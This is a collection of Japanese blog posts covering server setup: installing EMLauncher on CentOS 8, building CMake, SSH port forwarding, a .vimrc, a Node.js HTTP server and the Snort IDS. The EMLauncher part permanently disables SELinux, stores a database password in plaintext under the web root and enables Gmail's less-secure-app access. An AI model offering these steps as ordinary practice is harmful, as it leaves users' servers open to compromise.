    git clone https://github.com/KLab/emlauncher.git
    
  2. サブモジュールを初期化して、更新します。

    cd emlauncher
    git submodule init && git submodule update
    
  3. Composerで関連パッケージをインストールします。

    composer install
    
  4. Apacheがemlauncherにアクセスできるようにパーミッションを調整します。

    chown -R apache:apache /var/www/html/emlauncher
    

4. Apache setup

※ CentOS8ではphp-fpmが使用されているので、.htaccess内で記載するとエラーになるため.htaccess内の設定をコメントアウトして/etc/php.iniに設定する必要があります。

  1. emlauncher/web/.htaccessを編集します。

    vim /var/www/html/emlauncher/web/.htaccess
    

    以下の内容をコメントアウトします。

    #php_flag short_open_tag On
    #php_value memory_limit "4G"
    #php_value upload_max_filesize "4G"
    #php_value post_max_size "4G"
    #php_value max_execution_time 300
    #php_value max_input_time 300
    
  2. /etc/php.iniを編集します。

    vim /etc/php.ini
    

    .htaccess内でコメントアウトした設定を以下のように設定します。

    short_open_tag = On
    max_execution_time = 300
    max_input_time = 300
    memory_limit = 4G
    post_max_size = 4G
    upload_max_filesize = 4G
    
  3. Apacheの設定ファイル/etc/httpd/conf/httpd.confを編集します。

    vim /etc/httpd/conf/httpd.conf
    

    下記のように修正します。

    SetEnv MFW_ENV 'ec2'
    <Directory "/var/www/html">  
        Options FollowSymLinks  
        AllowOverride All  
        ...略...  
    </Directory>
    
  4. httpdを有効にします。

    systemctl start httpd && systemctl enable httpd
    

5. Database setup

  1. Databaseを有効にします。

    systemctl start mariadb && systemctl enable mariadb
    
  2. Databaseのユーザ名とパスワードを記載したdbauthファイル作成します。

    echo 'emlauncher:password' > /var/www/html/dbauth
    

    ※ 上記のpassword部分を置き換えてから実行してください。

  3. emlauncher/data/sql/database.sql内のxxxxxxxxの部分をdbauthのパスワードに合わせて修正します。

    vim /var/www/html/emlauncher/data/sql/database.sql
    
  4. emlauncherのdatabase設定をMySQLに流します。

    mysql -u root < /var/www/html/emlauncher/data/sql/database.sql
    mysql -u root emlauncher < /var/www/html/emlauncher/data/sql/tables.sql
    

6. Memcache setup

  1. Memcacheを有効にします。

    systemctl start memcached && systemctl enable memcached
    

7. Setup bundletool for Android App Bundle

APKを再署名するためのキーストアは必要ないのでスキップします。

※ 必要の場合はKLab/emlauncherのREADMEを参照して設定してください。

8. Configuration

mfw_serverevn_config.php

  1. config/mfw_serverenv_config_sample.phpをコピーし、$serverenv_config['ec2']['database']['authfile']を 5で作成したdbauthファイルのパスに書き換えます。

    cd /var/www/html/emlauncher/config
    cp mfw_serverenv_config_sample.php mfw_serverenv_config.php
    vim mfw_serverenv_config.php
    

    dbauthファイルパスを書き換えます。

    'authfile' => '/var/www/html/dbauth',
    

emlauncher_config.php

  1. 保存用ディレクトリを作成します。

    mkdir /var/www/html/emlauncher-files
    
  2. Apacheが保存用ディレクトリにアクセスできるようにパーミッションを調整します。

    chown -R apache:apache /var/www/html/emlauncher-files
    
  3. config/emlauncher_config_sample.phpをコピーし、自身の環境に合わせて書き換えます。

    cd /var/www/html/emlauncher/config
    cp emlauncher_config_sample.php emlauncher_config.php
    vim emlauncher_config.php
    

    以下のように修正します。

    'storage_class' => 'LocalFile',
    'path' => '/var/www/html/emlauncher-files',  
    'url_prefix' => '../../../emlauncher-files',
    

9. Complete

ブラウザでEMLauncherのログインページ「 http://仮想マシンのアドレス(192.168.xxx.xxx)/emlauncher/web/login 」が表示されたらEMLauncherの導入が完了です。

ユーザ登録する方法

  1. Mysqlに接続します。パスワードはdbauthで設定したパスワードです。

    mysql -u emlauncher -p emlauncher
    
  2. ユーザのメールをuser_passテーブルに登録します。

    INSERT INTO user_pass (mail) VALUES ('hoge@hoge.jp');
    

    hoge@hoge.jpを自分のメールに置き換えて実行してください。

  3. Mysqlから抜けます。

    exit
    
  4. EMLauncherのログインページのforgot passwordからパスワードをリセットします。

メール送信について

・EMLauncherはsendmailを使用するので、メールが送信できるように、postfixをインストール、設定してください。

  1. postfixをインストールします。

    dnf -y install postfix
    
  2. postfixを有効にします。

    systemctl start postfix && systemctl enable postfix
    

・メールを送る際、"mb_send_mail faild"とエラーが表示された場合SELinuxを無効にしてください。

  1. SELinuxを一時的に無効にします。

    setenforce 0
    
  2. SELinuxの設定ファイルの編集で永続的に無効にします。

    vim /etc/selinux/config
    

    SELINUXenforcingからdisableに変更します。
    SELINUX=disable

・メール送信したけど届かない場合

私の場合はOutbound Port 25 Blockingが原因でしたのでGmailで転送する事で解決しました。

  1. Postfixから転送するために、転送用Gmailアカウントのセキュリティ設定ページで「安全性の低いアプリのアクセス」を有効にしてください。

  2. postfixの設定ファイルにGmailで転送する設定を追加します。

    vim /etc/postfix/main.cf
    

    一番最後に以下の設定を追加します。

    # Gmail
    relayhost = [smtp.gmail.com]:587  
    smtp_use_tls = yes  
    smtp_tls_CApath = /etc/pki/tls/certs/ca-bundle.crt  
    smtp_sasl_auth_enable = yes  
    smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd  
    smtp_sasl_tls_security_options = noanonymous  
    smtp_sasl_mechanism_filter = plain  
    
  3. 転送用Gmailアカウント情報を設定します。

    vim /etc/postfix/sasl_passwd
    

    下記の内容のメールとパスワードの部分を置き換えて記入します。
    [smtp.gmail.com]:587 hoge@gmail.com:password

  4. Gmailアカウント情報ファイルからデータベースを作成します。

    postmap hash:/etc/postfix/sasl_passwd
    
  5. Gmailアカウントとパスワードが記載されたファイルを削除します。

    rm -f /etc/postfix/sasl_passwd
    
  6. psotfixを再起動します。

    systemctl restart postfix
    
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

CMakeの最新バージョンをUbuntu18.04.4 LTSにインストール

導入

CMakeの最新バージョンをUbuntuにインストールする方法について紹介する。

環境

  • Ubuntu 18.04.4 LTS
  • gcc 7.5.0
  • GNU Make 4.1
  • OpenSSL 1.1.1
  • libssl-dev 1.1.1

今回インストールを試みたCMakeのバージョン
- CMake 3.17.2

最も簡単なインストール方法

最も簡単にCMakeをインストールするならば、apt-get(CentOSなどのRHEL系統はyum)で下記のようにインストールできる。

$ sudo apt-get install cmake

しかし、これで得られるCmakeのバージョンはいくらか古いものになる。
(自分が確認したcmakeのバージョンは3.10だったと思う)
これ以上の最新版(最新版に限らず別のバージョンも然り)を手に入れるには、直接サイトから手に入れるしかない。

OpenSSL development package をインストールする

CMakeをインストールするために、OpenSSL development packageが必要になる。
これは、以下のコマンドでインストールすることができる。

$ sudo apt-get install libssl-dev

バージョンの確認は以下のようにしてできる。

$ dpkg -l | grep libssl
ii  libssl-dev:amd64                                1.1.1-1ubuntu2.1~18.04.5                         amd64        Secure Sockets Layer toolkit - development files

これを見るに、version 1.1.1ということらしい。
ちなみに、これに先駆けてOpneSSL自身も以下のようにしてアップデートした。

$ sudo apt-get install openssl

インストールが完了したら、以下のようにしてバージョンを確認しよう。

user@hyasuda:~$ openssl version
OpenSSL 1.1.1  11 Sep 2018

CMakeをインストールする

CMakeのソースコードは以下のサイトから手に入れることができる。
https://cmake.org/download/

ここでは、当時の最新版である CMake 3.17 をインストールした。
インストールする際には、makeをあらかじめインストールする必要があることに注意すること。

ソースファイル(hogehoge.tar.gz)を上記サイトからダウンロードする。
ダウンロードして展開した後のファイルの中身はいかのようになっている。

$ ls /path/to/cmake-3.17.2
Auxiliary                   CMakeLists.txt     CTestCustom.cmake.in  Help       README.rst  Utilities                 doxygen.config
CMakeCPack.cmake            CMakeLogo.gif      CompileFlags.cmake    Licenses   Source      bootstrap
CMakeCPackOptions.cmake.in  CONTRIBUTING.rst   Copyright.txt         Modules    Templates   cmake_uninstall.cmake.in
CMakeGraphVizOptions.cmake  CTestConfig.cmake  DartConfig.cmake      Packaging  Tests       configure

この中にあるbootstrapを実行し、そのあとにmakeを行えば良い。詳しくは中にあるREADME.rstを読むと良い。
(というか、ここに書いてある内容はREADME.rstの中身をそのまま説明している)

$ cd /path/to/cmake-3.17.2
$ ./bootstrap && make && make install

これでインストールは完了する。
全て完了した後に、cmakeコマンドでバージョンを確認する。

$ cmake --version
cmake version 3.17.2

まとめ

僕が試した時にはOpenSSLのdevelopment packageがないところで詰まりましたが、その後は問題なく動作することができました。
もしみなさんが詰まったところなどあれば参考までに教えていただけると嬉しいです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Linux sshポートフォワーディング(トンネル)設定

Linuxサーバに掲題の内容を設定する機会があり、
なんだかんだ時間がかかってしまったためメモ。
そして誰かの役に立ってくれればと思い、書いてみました。

やりたかったこと

・Linuxサーバ(Local)にトンネル(local:50000)を設置
・Linuxサーバ(踏み台)からRDSへ接続
・とあるサービス(Linuxサーバ(Local)で動いている)でトンネルを使用してRDSへ接続
・なので自分が接続するためではなく、あくまでなんかのサービス様の利用目的

各情報

Localサーバ

・port 50000をRDSへsshポートフォワーディング

踏み台サーバ

ホスト :「999.999.999.999」
ユーザ名:「fumidai」
証明書 :「/etc/ssh/fumidai.pem」

RDS

ホスト :「RDS.com」
ポート :「3306」

結局いきついたコマンド

上記の各情報を踏まえて以下になりました。
「ssh -o ServerAliveInterval=30 -f -N -L 50000:RDS.com:3306 fumidai@999.999.999.999 -i /etc/ssh/fumidai.pem」

簡単なコマンドの説明

オプション「-o」

「-o」オプションを設定することで、ssh_configに記載されているパラメータを設定できるみたい。
「-o XXXXX=30」とか。

オプション「-f -N」

ポートフォワーディング(トンネル)のプロセスをバックグラウンドにしたい場合に必要。
二つじゃないとだめ、「-f」だけだと無理。

オプション「-L」

Localサーバのlocalポート指定時に使用。
「-R」の場合リモートみたい。詳しくは調べてない。

オプション「-i」

証明書の参照先。

コマンドにいきつくまで大変だったこと。

基本的なことだけど、出たとこ勝負でやるところがあるから何度もこけまくった。

証明書の権限

sshは権限に厳しいです。ちゃんと設定しないと接続してくれません。
参考サイト様:「https://note.mokuzine.net/ssh-permission-denied/」

プロセスが勝手に落ちる

どこのサイト様を見ても、バックグラウンドでトンネル設定を入れて、削除する場合は
プロセスを見つけてkillするとある。
しかし勝手に落ちられてしまうのは勘弁したい。

「-f -N」で動かした以上、バックグラウンドで動いてくれる。
netstatコマンドでも確認したが、ちゃんとListenの状態になっている。
しかし、大体2時間15分後くらいに落ちる。
しかも、プロセス起動して1時間後くらい(Listenのまま放置)に、サービス側に通信させると、
だいぶ放置しちゃったからなのか、ちゃんと通信が行われない。途中で失敗する。
そりゃ、通信も何も無しなので、なんか起きてるんだろうなと思ってました。

詳しく調べてみると、karnel?の仕様か何かで、通信が無い場合は、切れるみたい。
実際にプロセスを実行したターミナルにはプロセスが落ちたタイミングで「Write failed: Broken pipe」
って表示されてた。

参考サイト様:「https://www.riscascape.net/archives/9570」
      :「https://alpha-netzilla.blogspot.com/2011/12/tcp-keepalive.html」
      :「https://qiita.com/kuni-nakaji/items/c07004c7d9e5bb683bc2」

プロセスをどうにか生き永らえさせる

sshには「ServerAliveInterval」等があり、指定された周期・回数で通信を行ってくれる。
これで勝手に死ぬことはなくなりました。
1時間後くらい(Listenのまま放置)してもちゃんと通信も出来ている。
sshdの設定ではこのあたりの設定はデフォルトで「0」動きません。

参考サイト様:「https://qiita.com/ysk24ok/items/2f4ced5edf306fdd9dfb」
      :「http://www.koganemaru.co.jp/cgi-bin/mroff.cgi?sect=5&cmd=&lc=1&subdir=man&dir=jpman-11.2.2%2Fman&subdir=man&man=ssh_config」
      :「https://tech.sv-cat.net/entry/2018/08/21/190127」

今後の課題

といってもやはりプロセスは1回起こせばいいってものじゃない。
多分なんかで落ちてしまう場合があるはず。
通信先の踏み台やRDSが落ちたりしたら、間違いなくプロセスは落ちちゃう。
なので不慮の事故を想定して、再度プロセスを起動する仕組みが必要。
crondで監視して回す予定。systemdでサービス化も考えたけれども、
結局シェル頼みになりそうだから、crondでよさそう。

他にもっと良い手段等ございましたら、ご享受いただけると幸いです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

10行以内のスクリプト(2.vimrc)

【初心者向け】10行以内のスクリプト(2.vimrcの記述)

pythonで色々なライブラリを使えば、「少ないコードでもちょっとした事が出来て、少なければ5行程でもちょっとしたスクリプトが作れ、便利だな。」と思ったので、pythonやその他、コマンドを羅列しただけのものも出てくるかも知れませんが、10行程のスクリプトを不定期で投稿してみようと思います。

第2回として、3分で出来る最小限の.vimrcを投稿したいと思います。
pythonでもないのですが、vimrcもスクリプト言語といえると思います。
端末やサーバの設定・運用といったインフラまわりは、vimというより最低限でも良いのでオリジナルのviを覚える必要があり、プログラミングでも開発環境のコンフィグの編集にvimを使いたい場面はまだまだあると思います。

近年、Linuxの統合環境も進化し、付属のエディタも手軽で便利だと思います。
開発環境ではIDEもあり、プログラミングはIDEが主流なのだろうと思いますが、私の場合はコンフィグの記述の他、「ちょっとエディタにsqlを書いておいて、貼り付けるか?」とかちょっとしたスクリプトの記述に使う事があります。
特にSQLの場合、標準の環境だと入力に手間が掛かる場合が多いと思います。

vimも奥が深く、viやvimの設定ファイルの記述も組み込みのスクリプト言語といえます。
掘り下げると制御構文などもある様で難易度も高いですが、ディストリビューションによっては、インストールした時点で便利に使用出来る場合もあるかと思います。
Linuxのディストリビューションの中には、viの実体が便利なしかし、カスタマイズされたvimのエイリアスになっていたりする場合もあると思います。

初期状態で便利過ぎるのも他の環境で使う時に、逆に違和感を感じる事もあると思います。
そう考え、プラグインを使わずに最小限の設定を記述してみようと考えました。
まずは、シンタックス・ハイライトとインデントの設定くらいが入っていれば良いと思い、必要になれば、少しずつ追記する様にする想定です。

あまり.vimrcを記述したり、プラグインを導入する事は無かったのですが、最近、debian10を使う事が多くなり、初期状態では、vimのプラグインが導入されていないというより、vimのインストール自体がされていませんでした。

しばらくオリジナルのviを使っていました。
viの設定ファイルを記述しても良いのですが、vimも導入しました。しばらく「set tabstop=4」と良くやっていたのですが、その必要がなくなっただけでも、かなり楽になりました。


1. vimがインストールされていない場合は、インストール

・debian系の場合はapt等で、vim-noxを入れれば、vim本体も入ります。
vimrcで様々な設定を入れる場合は、vim-noxも入れましょう。
・redhat系等はパッケージ名が違います。

インストールされているか?確認

$ which vim
/usr/bin/vim

# apt search vim-nox
i   vim-nox                         - Vi IMproved - enhanced vi editor - with sc
p   vim-nox:i386                    - Vi IMproved - enhanced vi editor - with sc

root@mint01:~# exit 

2. vimrcの記述

一般ユーザーのホームディレクトリで、.vimrcを編集若しくは、無い場合は新規で作成します。
このコンフィグでは、6行の設定を入れました。
【要注意: .vimrcはドットファイルです】
行頭のダブルクォート「"」は、コメントです。

.vimrc

$ vim  .vimrc
" 行番号の表示
set number

" 対応するカッコやブレースを表示
set showmatch matchtime=1

" コメントの色(水色)を指定
hi Comment ctermfg=3

" タブキーの文字幅
set shiftwidth=4

" インデント幅
set tabstop=2

" syntax
syntax on

以上、3分で出来る.vimrcの記述でした。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Node.jsを使ってHTTPサーバを作ってみる

はじめに

この記事はなんとなくJSとかを勉強している学生がメモ代わりに書いているものです。内容は期待しないでください。

1.仮想環境を構築する

今回はUbuntuで行うのでiTerm2で仮想環境を起動する。

起動したところで
1.Virtual Box(バーチャルボックス)
2.Vagrant(ベイグラント)
という2つのソフトウェアを使った仮想環境でUbuntuを使用します。
cd ~/vagrant/ubuntu
vagrant up
vagrant ssh

Ubuntuがインストールされたディレクトリに移動。vagrant upは仮想的なPCにインストールされたUbuntuを起動するコマンドで,vagrant sshはVagrantの仮想マシンがセットされている状態でSSHに接続します。

2.プログラムのひな形(テンプレート)を用意する

ディレクトリ内に以下を記述します。
yarn init
echo "'use strict';" > ファイル名

1行目はyarnで新しいプロジェクトを始める際に記述するものです。

3.プログラムを書く

先ほど記述したファイルに以下を記述します。
'use strict';
const http = require('http');
const server = http.createServer((request, response) => {
response.writeHead(200, {
'Content-Type': 'text/plain; charset=utf-8'
});
response.write(request.headers['なんでもいい']);
response.end();
});
server.listen(8000, () => {
console.log('Listening on 8000' );
});

1行目はJSをstrictモードで利用するための記述です。

2行目はhttpモジュールを引数httpに代入しています。

3~9行目はサーバに関する記述です。
引数に代入したhttpモジュールを使ってサーバを構築しています。記述方法は以下参照。
http.createServer( サーバー側の処理 )

今回はサーバ側の処理でアロー関数を使用しており,引数の一つ目にはリクエストが二つ目にはレスポンスが代入されています。
res.writeHead(200, {
'Content-Type': 'text/plain; charset=utf-8'
});

このコードは200という成功を示すステータスコードと共に、サーバが扱う情報の設定をレスポンスヘッダを書き込んでいます。
7行目はwrite関数を使用してリクエストのヘッダーに文字列を表示しています。表示したい内容によっては以下のように書くこともできます。
res.write(
'<!DOCTYPE html><html lang="ja"><body><h1>文字列</h1></body></html>'
);

8行目はサーバの書き出しが終わったことを示しています。

10行目以降はサーバ起動するポートを8000としてlisten関数で特定のポートからリクエストがないかを永続的に調べています。今回はリクエストがあり次第コンソールで文字列を表示しています。

4.サーバを起動してみる

以下を記述してREPLで動作を確認します。
node ファイル名

先ほどのコンソールの文字列が表示されたら成功です。お疲れ様でした!!

yarnとは

yarnはnodeをインストールすると自動でインストールされるnpmと役割は同様のパッケージマネージャー(https://yarnpkg.com/en/)。 
並行処理でのインストールによってnpmよりも高速にパッケージをインストールできる。

httpモジュールとは

「httpモジュール」はHTTPサーバーやHTTPクライアントとしての機能を構築するために使われます。自分のwebサイトをネット上に公開したり、フォームなどからデータを送受信できます。もちろん、静的なWebサイトだけでなくTwitterのような大きなWebサービスを構築することも可能になります。

ポートとは(参照:https://www.nic.ad.jp/ja/basics/terms/port-number.html)

TCP/IP通信においては,IPアドレスがあればネットワーク上のコンピュータを一意に識別することができますが,該当コンピュータのどのプログラムに通信パケットを届けるかは,IPアドレスだけでは決定できません。どのプログラムに通信パケットを渡すのかを決定するために,ポート番号を使用します。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Linuxセキュリテイ対策 Snortによる侵入検知

はじめに

本記事はLinuxのセキュリティ対策として、Snortの侵入検知について記載しています。

Snortはオープンソースのネットワーク型のIDSです。GPL (GNU General Public License) の元に無償で利用できます。

スクリーンショット 2020-04-23 12.32.37.png

現在も開発が行われているので最新のルールセットを無料でダウンロードして使用することができます。

Snortの構築

Snortはソースで提供されているため、ソースをダウンロードしてmaikする必要があります。

そのため、環境依存が大きく必要なライブラリがインストールされていない場合は、configureでエラーが発生し、依存関係を自分で調べてインストールする必要があります。

本記事ではCentOS7を例にSnortの構築方法について解説します。Snort等のバージョンは本記事執筆時点のバージョンを使用しています。

本記事の環境:CentOS Linux release 7.7.1908 (Core)

Snort

  • ディレクトリ移動
    # cd /usr/local/src/
  • Snortのダウンロード
    # wget https://www.snort.org/downloads/snort/snort-2.9.16.tar.gz
  • 解凍
    # tar xzvf snort-2.9.16.tar.gz
  • ディレクトリ移動
    # cd snort-2.9.16
  • configure
    # ./coonfigure

最少構成でインストールしたCentOS7でconfigureを実行するとエラーが発生します。
以降、Snortのディレクトリでconfigure実行後に発生したエラーに対して、必要なライブラリのインストール方法について記載しています。

Libpcap

checking for pcap_datalink in -lpcap... no
checking pfring.h usability... no
checking pfring.h presence... no
checking for pfring.h... no
checking for pfring_open in -lpfring... no
checking for pfring_open in -lpcap... no

   ERROR!  Libpcap library/headers (libpcap.a (or .so)/pcap.h)
   not found, go get it from http://www.tcpdump.org
   or use the --with-libpcap-* options, if you have it installed
   in unusual place.  Also check if your libpcap depends on another
   shared library that may be installed in an unusual place
  • libpcapのダウンロード
    # wget http://www.tcpdump.org/release/libpcap-1.9.1.tar.gz
  • 解凍
    # tar xzvf libpcap-1.9.1.tar.gz
  • ディレクトリ移動
    # cd libpcap-1.9.1
  • configure
    # ./configure
  • make
    # make
    # make install

Libpcre

./configure: line 15614: pcre-config: command not found
./configure: line 15620: pcre-config: command not found
checking pcre.h usability... no
checking pcre.h presence... no
checking for pcre.h... no

   ERROR!  Libpcre header not found.
   Get it from http://www.pcre.org
  • pcreのダウンロード
    # wget ftp://ftp.pcre.org/pub/pcre/pcre2-10.34.tar.gz
  • 解凍
    # tar xzvf pcre2-10.34.tar.gz
  • ディレクトリ移動
    # cd pcre2-10.34
  • configure
    # ./configure
  • make
    # make
    # make install

pcre-devel

./configure: line 15614: pcre-config: command not found
./configure: line 15620: pcre-config: command not found
checking pcre.h usability... no
checking pcre.h presence... no
checking for pcre.h... no

   ERROR!  Libpcre header not found.
   Get it from http://www.pcre.org
  • pcre-develのインストール
    # yum install -y pcre-devel

dnet header

checking for SHA256_Init in -lcrypto... no
checking for MD5_Init in -lcrypto... no
checking dnet.h usability... no
checking dnet.h presence... no
checking for dnet.h... no
checking dumbnet.h usability... no
checking dumbnet.h presence... no
checking for dumbnet.h... no

   ERROR!  dnet header not found, go get it from
   http://code.google.com/p/libdnet/ or use the --with-dnet-*
   options, if you have it installed in an unusual place
  • libdnetとlibdnet-develのインストール
    # yum install -y libdnet libdnet-devel

daq

./configure: line 16267: daq-modules-config: command not found
checking for daq_load_modules in -ldaq_static... no

   ERROR!  daq_static library not found, go get it from
   http://www.snort.org/.
  • daqのダウンロード
    # wget https://www.snort.org/downloads/snort/daq-2.0.7.tar.gz
  • 解凍
    # tar xzvf daq-2.0.7.tar.gz
  • ディレクトリ移動
    # cd daq-2.0.7
  • configure
    # ./configure
  • make
    # make

makeでエラー発生したのでautoreconfを実行して、再度ビルド

CDPATH="${ZSH_VERSION+.}:" && cd . && /bin/sh /usr/local/src/daq-2.0.7/missing aclocal-1.15 -I m4
/usr/local/src/daq-2.0.7/missing: 行 81: aclocal-1.15: コマンドが見つかりません
WARNING: 'aclocal-1.15' is missing on your system.
         You should only need it if you modified 'acinclude.m4' or
         'configure.ac' or m4 files included by 'configure.ac'.
         The 'aclocal' program is part of the GNU Automake package:
         <http://www.gnu.org/software/automake>
         It also requires GNU Autoconf, GNU m4 and Perl in order to run:
         <http://www.gnu.org/software/autoconf>
         <http://www.gnu.org/software/m4/>
         <http://www.perl.org/>
make: *** [aclocal.m4] エラー 127
  • autoconf
    # autoreconf
  • configure
    # ./configure
  • make
    # make
    # make install

zlib

checking zlib.h usability... no
checking zlib.h presence... no
checking for zlib.h... no

   ERROR!  zlib header not found, go get it from
   http://www.zlib.net
  • zlibのインストール
    # yum install -y zlib zlib-devel

LuaJIT

checking for luajit... no

   ERROR!  LuaJIT library not found. Go get it from http://www.luajit.org/ (or)
   Try compiling without openAppId using '--disable-open-appid'
configure: error: "Fatal!"
  • LuaJIT-develのインストール
    # yum install -y luajit-devel.x86_64

openssl-devel

checking openssl/x509.h usability... no
checking openssl/x509.h presence... no
checking for openssl/x509.h... no

   ERROR!  openssl/x509.h or openssl library not found.
   Try compiling without openAppId using '--disable-open-appid'
configure: error: "Fatal!"
  • openssl-develのインストール
    # yum install openssl-devel.x86_64

本記事の環境ではopenssl-develのインストール終了後、ようやくSnortのconfigureが正常終了しました。以下はSnortのディレクトリで実行しています。

  • configure
    # ./configure
  • make
    # make
    # make install

Snortの設定

Snortインストール後、Snortを使用するためにはいくつかの設定が必要になります。

以降、cpコマンドを使用しているときは/usr/local/src/snort-2.9.16のディレクトリで実行しています。

ユーザ作成

  • ユーザ作成
    # useradd snort

/etc/sysconfig/snortの編集

/etc/sysconfig/snortファイルはサービスの設定を行います。

  • snort.sysconfigのコピー
    # cp rpm/snort.sysconfig /etc/sysconfig/snort

  • snort.sysconfigの編集
    # vi /etc/sysconfig/snort

INTERFACEの値を使用しているインターフェースの値に変更します。

< INTERFACE=eth0
---
> INTERFACE=enp0s8

起動スクリプトの作成

デフォルトの起動スクリプトの実行パスは/usr/sbin/snortとなっています。インストールされたパスと違うため、シンボリックリンクを作成します。

  • 起動スクリプトの作成
    # cp rpm/snortd /etc/init.d/
    # chmod 755 /etc/init.d/snortd
  • シンボリックリンクの作成
    # ln -s /usr/local/bin/snort /usr/sbin/snort

ルールセット

一般的にセキュリティソフトやIDSでは、攻撃者の特徴的なアクセスのパターンなどをシグネチャとよんでいます。Snortではルールセット(ルールファイル)に記述されているシグネチャを参照して不正なパケットを検出します。公式サイトのコミュニティ版のルールセットは無料で使用することができます。

  • ルールセットのダウンロード
    # cd /tmp
    # wget https://www.snort.org/downloads/community/community-rules.tar.gz
  • 解凍
    # tar xzvf community-rules.tar.gz
  • ディレクトリ移動
    # cd community-rules
  • ディレクトリの作成
    # mkdir -p /etc/snort/rules
  • sid-msg.mapのコピー
    # cp sid-msg.map /etc/snort/
  • community.rulesのコピー
    # cp community.rules /etc/snort/rules/
  • 権限変更
    # chown -R snort.snort /etc/snort

ログ設定

  • ディレクトリの作成
    # mkdir /var/log/snor
  • 権限変更
    # chown -R snort.snort /var/log/snort
  • snort.logrotateのコピー
    # cd /usr/local/src/snort-2.9.16
    # cp rpm/snort.logrotate /etc/logrotate.d/snort

/etc/snort/snort.confの編集

/etc/snort/snort.confファイルは動作設定ファイルになります。

  • snort.confの編集
    # vi /etc/snort/snort.conf

ipvar HOME_NETの値を変更し、監視するネットワークを指定します。

< ipvar HOME_NET any
---
> ipvar HOME_NET 192.168.1.0/24

外部ネットワークアドレスを設定します。 基本的にデフォルトの「any」を指定します。

ipvar EXTERNAL_NET any

以下変数の相対パスをカレントパスに修正します。

< var RULE_PATH ../rules
< var SO_RULE_PATH ../so_rules
< var PREPROC_RULE_PATH ../preproc_rules
---
> var RULE_PATH ./rules
> var SO_RULE_PATH ./so_rules
> var PREPROC_RULE_PATH ./preproc_rules
113,114c113,114
< var WHITE_LIST_PATH ../rules
< var BLACK_LIST_PATH ../rules
---
> var WHITE_LIST_PATH ./rules
> var BLACK_LIST_PATH ./rules
510,512c510,513

使用していない設定値のコメントアウト及びcommunity.rulesを追加します。

<    nested_ip inner, \
<    whitelist $WHITE_LIST_PATH/white_list.rules, \
<    blacklist $BLACK_LIST_PATH/black_list.rules 
---
> #   nested_ip inner, \
>    nested_ip inner
> #   whitelist $WHITE_LIST_PATH/white_list.rules, \
> #   blacklist $BLACK_LIST_PATH/black_list.rules 

< include $RULE_PATH/app-detect.rules
< include $RULE_PATH/attack-responses.rules
< include $RULE_PATH/backdoor.rules
< include $RULE_PATH/bad-traffic.rules
< include $RULE_PATH/blacklist.rules
< include $RULE_PATH/botnet-cnc.rules
< include $RULE_PATH/browser-chrome.rules
< include $RULE_PATH/browser-firefox.rules
< include $RULE_PATH/browser-ie.rules
< include $RULE_PATH/browser-other.rules
< include $RULE_PATH/browser-plugins.rules
< include $RULE_PATH/browser-webkit.rules
< include $RULE_PATH/chat.rules
< include $RULE_PATH/content-replace.rules
< include $RULE_PATH/ddos.rules
< include $RULE_PATH/dns.rules
< include $RULE_PATH/dos.rules
< include $RULE_PATH/experimental.rules
< include $RULE_PATH/exploit-kit.rules
< include $RULE_PATH/exploit.rules
< include $RULE_PATH/file-executable.rules
< include $RULE_PATH/file-flash.rules
< include $RULE_PATH/file-identify.rules
< include $RULE_PATH/file-image.rules
< include $RULE_PATH/file-multimedia.rules
< include $RULE_PATH/file-office.rules
< include $RULE_PATH/file-other.rules
< include $RULE_PATH/file-pdf.rules
< include $RULE_PATH/finger.rules
< include $RULE_PATH/ftp.rules
< include $RULE_PATH/icmp-info.rules
< include $RULE_PATH/icmp.rules
< include $RULE_PATH/imap.rules
< include $RULE_PATH/indicator-compromise.rules
< include $RULE_PATH/indicator-obfuscation.rules
< include $RULE_PATH/indicator-shellcode.rules
< include $RULE_PATH/info.rules
< include $RULE_PATH/malware-backdoor.rules
< include $RULE_PATH/malware-cnc.rules
< include $RULE_PATH/malware-other.rules
< include $RULE_PATH/malware-tools.rules
< include $RULE_PATH/misc.rules
< include $RULE_PATH/multimedia.rules
< include $RULE_PATH/mysql.rules
< include $RULE_PATH/netbios.rules
< include $RULE_PATH/nntp.rules
< include $RULE_PATH/oracle.rules
< include $RULE_PATH/os-linux.rules
< include $RULE_PATH/os-other.rules
< include $RULE_PATH/os-solaris.rules
< include $RULE_PATH/os-windows.rules
< include $RULE_PATH/other-ids.rules
< include $RULE_PATH/p2p.rules
< include $RULE_PATH/phishing-spam.rules
< include $RULE_PATH/policy-multimedia.rules
< include $RULE_PATH/policy-other.rules
< include $RULE_PATH/policy.rules
< include $RULE_PATH/policy-social.rules
< include $RULE_PATH/policy-spam.rules
< include $RULE_PATH/pop2.rules
< include $RULE_PATH/pop3.rules
< include $RULE_PATH/protocol-finger.rules
< include $RULE_PATH/protocol-ftp.rules
< include $RULE_PATH/protocol-icmp.rules
< include $RULE_PATH/protocol-imap.rules
< include $RULE_PATH/protocol-pop.rules
< include $RULE_PATH/protocol-services.rules
< include $RULE_PATH/protocol-voip.rules
< include $RULE_PATH/pua-adware.rules
< include $RULE_PATH/pua-other.rules
< include $RULE_PATH/pua-p2p.rules
< include $RULE_PATH/pua-toolbars.rules
< include $RULE_PATH/rpc.rules
< include $RULE_PATH/rservices.rules
< include $RULE_PATH/scada.rules
< include $RULE_PATH/scan.rules
< include $RULE_PATH/server-apache.rules
< include $RULE_PATH/server-iis.rules
< include $RULE_PATH/server-mail.rules
< include $RULE_PATH/server-mssql.rules
< include $RULE_PATH/server-mysql.rules
< include $RULE_PATH/server-oracle.rules
< include $RULE_PATH/server-other.rules
< include $RULE_PATH/server-webapp.rules
< include $RULE_PATH/shellcode.rules
< include $RULE_PATH/smtp.rules
< include $RULE_PATH/snmp.rules
< include $RULE_PATH/specific-threats.rules
< include $RULE_PATH/spyware-put.rules
< include $RULE_PATH/sql.rules
< include $RULE_PATH/telnet.rules
< include $RULE_PATH/tftp.rules
< include $RULE_PATH/virus.rules
< include $RULE_PATH/voip.rules
< include $RULE_PATH/web-activex.rules
< include $RULE_PATH/web-attacks.rules
< include $RULE_PATH/web-cgi.rules
< include $RULE_PATH/web-client.rules
< include $RULE_PATH/web-coldfusion.rules
< include $RULE_PATH/web-frontpage.rules
< include $RULE_PATH/web-iis.rules
< include $RULE_PATH/web-misc.rules
< include $RULE_PATH/web-php.rules
